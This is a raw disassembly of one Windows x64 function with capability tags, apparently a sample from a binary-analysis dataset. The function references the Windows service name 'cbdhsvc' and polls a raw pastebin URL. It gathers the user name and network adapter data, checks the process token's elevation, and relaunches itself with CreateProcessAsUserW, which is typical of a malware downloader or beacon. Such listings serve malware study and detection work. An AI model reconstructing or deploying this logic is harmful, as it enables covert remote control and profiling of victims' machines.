Function at 0x14000d880
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Get session user name
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x14020c040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
lea rdx, str.cbdhsvc
xor edi, edi
lea rcx, [rbp - 0x30]
mov r8d, 7
mov qword [rbp - 0x20], rdi
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], rdi
call fcn.140002f80
xorps xmm0, xmm0
lea rdx, [rbp - 0x30]
xor eax, eax
lea rcx, [rbp + 0x20]
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
call fcn.14000c840
lea rcx, [rbp + 0x20]
call fcn.14000e460
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000d92e
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d929
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d929
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103c4
mov ecx, 8
call fcn.140010140
lea rcx, [0x14000b310]
mov r9, rax
lea r8, [0x14000fab0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000e1db
xorps xmm0, xmm0
mov qword [rsp + 0x210], rbx
mov r8d, 0x21
mov qword [rbp - 0x60], rdi
lea rdx, str.https:__pastebin.com_raw_FkXedbuu
mov qword [rbp - 0x58], rdi
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
call fcn.140002f80
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.14000c630
cmp qword [rbp - 0x80], rdi
je 0x14000deee
lea rcx, [rbp + 0x40]
call fcn.140009da0
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x68], 0x10
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
movups xmmword [rbp - 0x50], xmm0
test eax, eax
je 0x14000da12
lea rax, [rbp + 0xe0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14000da00
lea rdx, [rbp + 0xe0]
jmp 0x14000da1c
xor r8d, r8d
lea rdx, [0x140013808]
lea rcx, [rbp - 0x50]
call fcn.140002f80
xorps xmm0, xmm0
mov qword [rbp + 0x30], rdi
movups xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x68]
mov byte [rbp + 0x20], dil
xor ecx, ecx
mov qword [rbp + 0x38], 0xf
mov dword [rsp + 0x68], edi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x14000dac2
xorps xmm0, xmm0
mov qword [rbp], rdi
xor r8d, r8d
mov qword [rbp + 8], rdi
lea rdx, [0x140013808]
lea rcx, [rbp - 0x10]
movups xmmword [rbp - 0x10], xmm0
call fcn.140002f80
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000db2b
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dabb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df7c
call fcn.1400103c4
jmp 0x14000db2b
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x14000db12
mov rax, rbx
nop word [rax + rax]
lea rdx, [rax + 0x1c0]
cmp byte [rdx], dil
jne 0x14000daf6
mov rax, qword [rax]
test rax, rax
jne 0x14000dae0
jmp 0x14000db12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x14000db00
lea rcx, [rbp + 0x20]
call fcn.140009130
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movups xmm0, xmmword [rbp + 0x20]
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
lea rcx, [rbp - 0x30]
call fcn.140009fa0
mov rax, qword [rbp + 0x50]
test rax, rax
je 0x14000dfc4
cmp qword [rbp - 0x40], rdi
je 0x14000dfc4
cmp qword [rbp], rdi
je 0x14000dfc4
cmp qword [rbp - 0x20], rdi
je 0x14000dfc4
cmp qword [rbp + 0x58], 0xf
lea r9, [rbp + 0x40]
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x70]
cmova r9, qword [rbp + 0x40]
cmp qword [rbp - 0x78], 0xf
mov qword [rsp + 0x20], rax
cmova rcx, qword [rsp + 0x70]
xor r8d, r8d
call fcn.140009bd0
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14000dbab
call fcn.14000bd00
jmp 0x14000dbb0
call fcn.14000cbd0
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000dcba
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x64]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x60]
mov edx, 0x1a
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000dc01
mov ebx, 1
jmp 0x14000dc07
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x14000dcc0
cmp dword [rbp + 0x60], edi
jne 0x14000dcc0
call fcn.14000d500
test eax, eax
jne 0x14000dcc0
xorps xmm0, xmm0
mov dword [rbp + 0x70], 0x68
xor eax, eax
lea rcx, [rbp + 0x70]
movups xmmword [rbp + 0x74], xmm0
mov dword [rbp + 0xd4], eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
xor ecx, ecx
lea rax, [rbp + 0x20]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x14000df83
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [rbp + 0x18], edi
je 0x14000dfb8
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x18], eax
je 0x14000dfac
movaps xmm0, xmmword [rbp + 0x10]
lea rcx, [rbp + 0x20]
xor edx, edx
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x14000dfa0
mov rdx, qword [rbp - 0x18]
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x10], xmm0
cmp rdx, 0xf
jbe 0x14000dd38
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], dil
cmp rdx, 0xf
jbe 0x14000dd83
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd7e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x38]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], dil
cmp rdx, 0xf
jbe 0x14000ddce
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ddc9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
cmp rdx, 0xf
jbe 0x14000de19
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de14
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], dil
cmp rdx, 0xf
jbe 0x14000de65
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de60
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
cmp rdx, 0xf
jbe 0x14000deb1
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000deac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
mov r8d, 0x21
mov qword [rbp - 0x58], rdi
lea rdx, str.https:__pastebin.com_raw_FkXedbuu
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
call fcn.140002f80
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.14000c630
cmp qword [rbp - 0x80], rdi
jne 0x14000d9b5
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000df26
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
cmp rdx, 0xf
jbe 0x14000e1bf
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e1ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e1ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000dfff
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dffa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], dil
cmp rdx, 0xf
jbe 0x14000e04a
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e045
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x38]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], dil
cmp rdx, 0xf
jbe 0x14000e095
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e090
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
cmp rdx, 0xf
jbe 0x14000e0e0
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e0db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], dil
cmp rdx, 0xf
jbe 0x14000e12c
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e127
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
cmp rdx, 0xf
jbe 0x14000e178
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e173
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000df75
call fcn.1400103c4
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
cmp dword [rbp + 0x18], edi
jne 0x14000e1d4
mov rbx, qword [rsp + 0x210]
mov eax, 1
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140010120
mov rdi, qword [rsp + 0x218]
add rsp, 0x200
pop rbp
ret
call fcn.1400103c4
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
cmp dword [rbp + 0x18], edi
je 0x14000e18d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0x18], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3